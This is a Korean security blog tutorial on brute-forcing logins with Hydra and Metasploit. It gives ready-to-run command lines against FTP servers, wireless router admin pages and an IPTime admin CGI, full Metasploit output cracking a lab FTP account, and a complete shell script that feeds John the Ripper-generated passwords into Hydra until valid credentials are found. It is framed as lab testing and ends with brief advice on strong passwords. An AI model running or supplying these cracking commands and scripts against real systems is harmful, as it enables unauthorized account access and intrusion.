본문 바로가기
보안

Hydra를 이용한 무식공격

본문

 

Hydra를 이용한 무식공격


■ 작성일 : 2012년
■ 작성자 : C8KOREA
■ 저작권 : 퍼가더라도 링크하나 남겨주기!! 본 자료로 인한 책임은 너가 지길.
■ 첨부파일
■ 테스트 환경

공격자 : BT5 r3
타겟: XP SP3

Hydra를 스타크에 나오는 넘 처럼 좀 지저분한 툴일 수도 있으나 ftp,web,암호화 된 유무선공유기 등 다양한 분야에 걸쳐 ID,Password를 까부수는 툴이다. 여기서 좀 지저분 하다는 것은 Dictionary Attack이라는 무식한공격(Bruteforce Attack)을 사용하기 때문이다. 본자료는 테스트 용으로만 사용하고 암대나 남용하지 말길 바란다.
만일 상대편이 보안장비를 운영한다면 공격에 대한 로그가 기록이 되기 때문이다.

지원플랫폼과 버전정보
리눅스, 윈도 둘다 돌아간다. 본좌는 백트랙5 우분투 이며 버전은 6.5이다. 히드라 공식페이지의 소스버전은 7.3이다.

설치
윈도용은 알아서 찾아서 다운받는다. 본좌는 BT5에 이미 설치되어 있다. 혹시 없다면 링크사이트로 가서 다운 받은 후 컴파일 하기 바란다.

들어가기에 앞서
좀 이해 좀 하고 사용해라 아그들아. 아래는 man page 내용이다. 읽어 보고 사용법에 들어가도록 하자.

root@bt:~# man hydra
HYDRA(1)                                                                        HYDRA(1)

NAME
       hydra - A very fast network logon cracker which support many different services

SYNOPSIS
       hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-4/6]
        [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
        server service [OPT]

DESCRIPTION
       Hydra  is a parallized login cracker which supports numerous protocols to attack.
       New modules are easy to add, beside that, it is flexible and very fast.

       This tool gives researchers and security consultants the possiblity to  show  how
       easy it would be to gain unauthorized access from remote to a system.

       Currently this tool supports:        // 졸라 많네...이거 전부 테스트 해보도록 하자!!
        AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
        HTTP-FORM-POST,  HTTP-GET,  HTTP-HEAD,  HTTP-PROXY,  HTTPS-FORM-GET, HTTPS-FORM-
       POST,  HTTPS-GET, HTTPS-HEAD, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL,  NCP,  NNTP,  PCNFS,
       POP3,  POSTGRES, REXEC, SAP/R3, SMB, SMTP, SNMP, SOCKS5, SSH(v1 and v2),  Subversion,  
      Teamspeak (TS2), TELNET, VMware-Auth, VNC and XMPP.

       -R     restore a previous aborted/crashed session
       -S     connect via SSL
       -s PORT
              if the service is on a different default port, define it here
       -l LOGIN                // 사용자 이름을 이미 알고 있다면 사용한다.
              or -L FILE login with LOGIN name, or load several logins from FILE
       -p PASS            // 패스워드를 이미 알고 있다면 사용한다. 모를 경우 Dic파일을 이용하여 무식공격한다.
              or -P FILE try password PASS, or load several passwords from FILE
       -e ns  additional checks, "n" for null password, "s" try login as pass // 패스워드가 null인지 체크.

       -c FILE
              colon separated "login:pass" format, instead of -L/-P options
       -m FILE
              server list for parallel attacks, one entry per line
       -o FILE
              write found login/password pairs to FILE instead of stdout
       -f     exit after the first found login/password pair (per host if -M)  // id,password 발견되면 빠져나와라
       -t TASKS
              run TASKS number of connects in parallel (default: 16)
       -w TIME                 //id,password를 한번 날리고 틀리면 또 날리는데 그때 gap인 최대 대기 시간이다.
              defines the max wait time in seconds for responses (default: 30) 
       -4 / -6                  // IP v4, v6를 지원한다. 좋구나~
              prefer IPv4 (default) or IPv6 addresses
       -v / -V                 // verbose 즉 화면에 보여달라는 의미다. 뭘? id, password 조합된 결과를
              verbose mode / show login+pass combination for each attempt

       server the target server (use either this OR the -M option)

       service
              the  service  to  crack.  Supported  protocols: afp cisco cisco-enable cvs
              firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy  icq
              irc  imap  ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle ora
              cle-listener oracle-sid pcnfs pop3 pcanywhere postgres  rexec  rlogin  rsh
              sapr3  sip  smb  smtp  smtp-enum  snmp socks5 ssh svn teamspeak telnet vnc
              vmauthd xmpp

       OPT    some service modules need special input (see README!)

       -h, --help
              Show summary of options.

       SEE ALSO
              xhydra(1), pw-inspector(1).
              The programs are documented fully by van Hauser <vh@thc.org>

AUTHOR
       hydra was written by van Hauser / THC <vh@thc.org>  and  co-maintained  by  David
       Maciejak <david.maciejak@gmail.com>.

       This  manual  page was written by Daniel Echeverry <epsilon77@gmail.com>, for the
       Debian project (and may be used by others).

충분히 읽어 보았는가?


실습 1 - FTP Attacking

man page 위에 빨간색글자에 보면 다양한 분야에 무식공격을 할 수 있다고 나온다. 
여기서 FTP서버의 ID, Password를 까부셔 보도록 하자.

실습환경
타겟 : XP SP3 알FTP서버   / userid, password : abcd, 1818
공격자 : 우분투 Hydra v6.5

테스트용이라 간단하게 만들었다. 졸라 암호 복잡하면 시간 오래 걸리기 때문이다.

준비물 - Dictionary 파일 얻기
가. 직접 만들기 : 본좌 블로그에 올려 놓았다.
나. 구글링을 통해 얻기 
     사전파일링크 http://www.skullsecurity.org/wiki/index.php/Passwords

명령어 형식 1
ID를 알고 있다면 -l 사용자계정을 입력한다. 패스워드를 모르기에 -P 옵션을 이용한다. 패스워드 Dic 파일을 적고
-e ns는 null 패스워드 체크를 하고 -vV는 결과를 보여주고...뒤에 타겟 IP ftp를 적어준다.

hydra -l user -P dic.txt -e ns -vV IP ftp

만일 사용자 계정도 모를 경우는 아래와 같이 해준다.

hydra -L user.txt -P dic.txt -e ns -vV IP ftp

추가내용 -  Metasploit를 이용한 FTP Server Cracking
Hydra와 비슷하게 Metasploit에서도 가능하다. 아래와 같이 해보자
msf > search ftp_login                       // 모듈이 있는지 조사해보니 아래와 같은게 보일 것이다.
Matching Modules
+===============
   Name                             Disclosure Date  Rank    Description
   ----                             ---------------  ----    -----------
   auxiliary/scanner/ftp/ftp_login                   normal  FTP Authentication Scanner
msf > use auxiliary/scanner/ftp/ftp_login     // 해당 모듈로 접속하자

msf  auxiliary(ftp_login) > set PASS_FILE /tmp/dic.txt    // 패스워드가 있는 dictionary 파일이다.
PASS_FILE => /tmp/dic.txt
msf  auxiliary(ftp_login) > set USER_FILE /tmp/user.txt   // 사용자 계정의 dictionary 파일이다.
USER_FILE => /tmp/user.txt
msf  auxiliary(ftp_login) > set RHOSTS 192.168.203.23     // 타겟을 정한다.
RHOSTS => 192.168.203.23
msf  auxiliary(ftp_login) > run     // 실행
[*] 192.168.203.23:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.203.23:21...
[*] Connected to target FTP server.
[*]  192.168.203.23 :21 - FTP Banner: '220 ALFTP Server ready.  ^-^)/~\x0d\x0a'
[*]  192.168.203.23 :21 FTP - Attempting FTP login for 'anonymous':'mozilla@example.com'
[*]  192.168.203.23 :21 FTP - Failed FTP login for 'anonymous':'mozilla@example.com'
[*]  192.168.203.23 :21 FTP - [1/8] - Attempting FTP login for 'abcd':''
[*]  192.168.203.23 :21 FTP - [1/8] - Failed FTP login for 'abcd':''
[*]  192.168.203.23 :21 FTP - [2/8] - Attempting FTP login for 'efgi':''
[*]  192.168.203.23 :21 FTP - [2/8] - Failed FTP login for 'efgi':''
[*]  192.168.203.23 :21 FTP - [3/8] - Attempting FTP login for 'abcd':'abcd'
[*]  192.168.203.23 :21 FTP - [3/8] - Failed FTP login for 'abcd':'abcd'
[*]  192.168.203.23 :21 FTP - [4/8] - Attempting FTP login for 'efgi':'efgi'
[*]  192.168.203.23 :21 FTP - [4/8] - Failed FTP login for 'efgi':'efgi'
[*]  192.168.203.23 :21 FTP - [5/8] - Attempting FTP login for 'abcd':'3000'
[*]  192.168.203.23 :21 FTP - [5/8] - Failed FTP login for 'abcd':'3000'
[*]  192.168.203.23 :21 FTP - [6/8] - Attempting FTP login for 'abcd':'1818'
[+]  192.168.203.23 :21 - Successful FTP login for 'abcd':'1818'  // 성공했다는 메세지가 나온다.
[*]  192.168.203.23 :21 - User 'abcd' has READ/WRITE access
[*]  192.168.203.23 :21 FTP - [7/8] - Attempting FTP login for 'efgi':'3000'
[*] Connecting to FTP server  192.168.203.23:21...
[*] Connected to target FTP server.
[*]  192.168.203.23 :21 FTP - [7/8] - Failed FTP login for 'efgi':'3000'
[*]  192.168.203.23 :21 FTP - [8/8] - Attempting FTP login for 'efgi':'1818'
[*]  192.168.203.23 :21 FTP - [8/8] - Failed FTP login for 'efgi':'1818'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed




테스트 결과
Hydra의 경우 잘 되지 않는다. BT5에 있는 설치된 패키지로 해보니 안된다. 이유는 모르겠지만 Hydra 7.3 소스파일을 받아서 컴파일 후 직접 해봐야 것다.



Metasploit의 경우는 잘 먹힌다. 



방지책

결국 또 강조되는 것이지만 사용자 계정은 Default로 하지 말아야 하고 Password 또한 졸라 복잡하게 만들어야 함을 다시한번
알게된다.

hydra -L ftp.txt -P ts-list.txt -o test.txt www.xxx.com ftp

유무선공유기 id, password 무식대입법
/pentest/passwords/wordlists/ap_passwords.txt -t 1 -e ns -f -V http-get /


IPTime 관리자 페이지 무식공격
hydra -s 80 -l admin -v -P passwords.txt -e ns -f http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frame



Hydra와 John의 만남
관련 링크자료 찾아서 삽질 한 내용 정리한다. 히드라의 가장 큰 문제점을 사전파일을 만드는 것이다. 그래서 구글링해서 뒤지기 시작했다.
사전파일이 아닌 john와 궁합맟춰 삽질코딩한 해커가 있다고 판단하고 구글링한 결과...있다. 역시 해커는 머리도 비상해야 하나 보다.(아래 코드로 뻘짓거리 하지 말길 바란다.)

shellcode

 #!/bin/sh

hydra="/usr/local/bin/hydra"
#john="/usr/bin/john"
john="/pentest/passwords/john/john"        // BT5 환경에서 Path를 변경해 줘야 한다.

#hydra_module="ssh2"
hydra_module="http-get /"                        // 히드라 모듈
#hydra_host="127.0.0.1"
#hydra_port="22"
hydra_port="80"
hydra_nb_task="10"
hydra_all_params="-f -s $hydra_port -t $hydra_nb_task -e ns "

john_sessionfile="$1"
john_all_params="--incremental:Alpha --stdout"
"hydra_john.sh" 62L, 1806C                                                         1,1           Top
#!/bin/sh

hydra="/usr/local/bin/hydra"
#john="/usr/bin/john"
john="/pentest/passwords/john/john"

#hydra_module="ssh2"
hydra_module="http-get /"
#hydra_host="127.0.0.1"
#hydra_port="22"
hydra_port="80"
hydra_nb_task="10"
hydra_all_params="-f -s $hydra_port -t $hydra_nb_task -e ns "

john_sessionfile="$1"
john_all_params="--incremental:Alpha --stdout"
john_time_step=20   # time (seconds) to run john

tmp_passwd="/tmp/pwd1234.tmp"
hydra_logfile="/tmp/hydralog"

if [ "$1" = "" ];then
    echo "Usage: $0 <john session file>"
    exit 0
fi

#for lfile in `ls $loginfiles*`;do

while [ 1 ];do
    # generate some password with john the ripper
    echo; echo "- Start (re)generating passwords with John"
    if [ -e "$john_sessionfile.rec" ];then
        # if session exist, restore it
        $john --restore=$john_sessionfile  > $tmp_passwd &
    else
        # if session not exist yet, create it
        $john $john_all_params --session=$john_sessionfile > $tmp_passwd &
    fi

    # wait 100 seconds, then kill john and start hydra on it
    echo "- Wait ..."
    sleep $john_time_step
    echo "- Kill john"
    killall john 2>/dev/null 1>/dev/null
    sleep 1

    # start hydra
    echo; echo "- Start hydra"; echo

    rm -f $hydra_logfile
    echo "$hydra -l admin -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile"
    $hydra -l root -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile

    # if a valid pair has been found, stop the loop
    if [ "`grep $hydra_module $hydra_logfile | grep -v DATA`" != "" ];then
        echo; echo "FOUND !!"
        grep $hydra_module $hydra_logfile | grep -v DATA
        exit 0
    fi

done


사용법
존더리퍼와 히드라 help 메뉴얼을 보면 사용법은 그냥 알 수 있다고 본다.
위의 shellcode에 답이 있으니 너가 알아서 찾길 바란다.

테스트 결과
타겟에서 실제 패킷을 떠보니 안나온다. 히드라 모듈 부분에 ssh2 대신 http-head, http-get 모듈로 처리하고 테스트 해보니 Error라고 나온다. 히드라 모듈 부분에서 걸리는지 뭔지 모르것다. 여튼 ssh2, ftp 모듈에서는 잘 된다고 하니 한번 테스트 해보는 것도 좋으리라 본다.

시간이 나면 계속 테스트 해보도록 하것다.



참조링크

http://funoverip.net/2010/12/thc-hydra-password-bruteforcing-with-john-the-ripper/ 

  • 페이스북으로 보내기
  • 트위터로 보내기
  • 구글플러스로 보내기

페이지 정보

최고관리자 작성일18-01-23 15:26 조회238회 댓글0건

첨부파일

댓글목록

등록된 댓글이 없습니다.

보안 목록

게시물 검색

사이트 정보

  • 회사명 주인있소 / 대표 소담
  • 주소 강원도 속초시
  • 사업자 등록번호 123-45-67890
  • 전화 010-2026-0626 / 팩스 없음
  • 통신판매업신고번호 제 OO구 - 123호
  • 개인정보관리책임자 정보책임자명

고객센터

상단으로